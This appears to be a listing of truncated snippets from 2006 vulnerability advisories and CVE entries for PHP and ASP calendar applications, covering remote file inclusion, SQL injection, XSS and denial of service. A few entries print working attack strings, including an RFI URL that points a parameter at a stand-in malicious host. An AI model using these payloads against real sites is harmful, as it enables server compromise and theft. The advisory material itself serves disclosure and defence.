CVE-2006-5101

CVE-2006-5101 is a PHP remote file inclusion vulnerability in Comdev CSV Importer 3.1 (and possibly 4.1) used across multiple Comdev components (Contact Form, Helpdesk, Events Calendar, FAQ/Support, Guestbook, Links Directory, News Publisher, Newsletter, Photo Gallery, Vote Caster, Web Blogger, e...

Comdev Events Calendar 3.1 :) <= Remote File Inclusion

+-------------------------------------------------------------------- + + Comdev Events Calendar 3.1 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Comdev Events Calendar 3.1 + Venedor ...........: http://www.comdevweb.co...

CVE-2006-4906

SQL injection vulnerability in modules/calendar/week.php in More.groupware 0.74 allows remote attackers to execute arbitrary SQL commands via the newcalendarid parameter...

CVE-2006-4825

CVE-2006-4825 concerns multiple cross-site scripting (XSS) vulnerabilities in SoftComplex PHP Event Calendar 1.5.1 (and possibly earlier) where remote attackers can inject arbitrary script/HTML via the parameters ti, bi, or cbgi in cl_files/index.php. The connected documents reiterate the same de...

os2a_1007.txt

PHP Event Calendar Multiple Parameter Cross Site Scripting Vulnerability OS2A ID: OS2A1007 Status: 08/20/2006 Issue Discovered 09/06/2006 Reported to the Vendor 09/09/2006 Fixed by Vendor 09/13/2006 Advisory Released Class: Cross Site Scripting Severity: Low Overview: --------- PHP Event Calendar...

PHP Event Calendar Multiple Parameter Cross Site Scripting Vulnerability

PHP Event Calendar Multiple Parameter Cross Site Scripting Vulnerability OS2A ID: OS2A1007 Status: 08/20/2006 Issue Discovered 09/06/2006 Reported to the Vendor 09/09/2006 Fixed by Vendor 09/13/2006 Advisory Released Class: Cross Site Scripting Severity: Low Overview: --------- PHP Event Calendar...

vcap.txt

title: vCAP calendar server Multiple vulnerabilities Author: securma massine MorX Security Research Team http://www.morx.org Product info : vCAP www.pscs.co.ukis a network calendar server for Windows. vCAP allows user to create calendars which can be viewed and modified by people on network using...

PHP Event Calendar 1.41.5 - index.php Multiple Cross-Site Scripting Vulnerabilities

PHP Event Calendar 1.41.5 - index.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/20001/info PHP Event Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issu...

PHP Event Calendar 1.4/1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/20001/info PHP Event Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to...

Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service

Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service source: https://www.securityfocus.com/bid/19959/info vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error. An attacker can exploit this issue to crash the...

Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service

source: https://www.securityfocus.com/bid/19959/info vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error. An attacker can exploit this issue to crash the application, effectively denying service. vCAP Calendar Server 1.9.0 Beta and prior...

vCAP calendar server Multiple vulnerabilities

title: vCAP calendar server Multiple vulnerabilities Author: securma massine [email protected] MorX Security Research Team http://www.morx.org Product info : vCAP www.pscs.co.ukis a network calendar server for Windows. vCAP allows user to create calendars which can be viewed and modified by people...

EZContents 2.0.3 - 'calendar.php?GLOBALS[language_home]' Remote File Inclusion

source: https://www.securityfocus.com/bid/19776/info ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code a...

agenda.txt

Agenda - Remote File Include ------------------------------------------------------------------------------------ Description: A complete calendar solution with component and module part for mambo cms. The issue is at the calendar module. Bug Found by: jank0 greetz: hackbsd crew risk: dangerous...

visualevents11.txt

title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit: http://www.site.com/path/calendar.php?cfgdir=http://evilscripts? Thanx :...

Forum Software ASPPlayground.NET Advanced Edition 2.4.5 Unicode Xss

Author:-=Mizo=- script:Forum Software © ASPPlayground.NET Advanced Edition 2.4.5 Unicode bug:-www.XXX./forum/calendar.asp?calendarID=|Xss| greetz to Mahbub,Lezr.com,3asfh.net and ReMoTer...

myEvent <= 1.4 Multiple Remote File Include Vulnerabilities

--------------------------------------------------------------------------------------- myEvent 1.4 Multiple Remote File Include Vulnerabilities --------------------------------------------------------------------------------------- Author : Sh3ll Date : 2006/08/11 HomePage : http://www.sh3ll.ir...

CVE-2006-4060

PHP remote file inclusion vulnerability in calendar.php in Visual Events Calendar 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the cfgdir parameter...

CVE-2006-4060

PHP remote file inclusion vulnerability in calendar.php in Visual Events Calendar 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the cfgdir parameter...

CVE-2006-4060

CVE-2006-4060 : PHP remote file inclusion in calendar.php of Visual Events Calendar 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the cfg_dir parameter. The vulnerability affects Visual Events Calendar 1.1; exploitation would arise from an attacker-supplied URL in cfg_dir...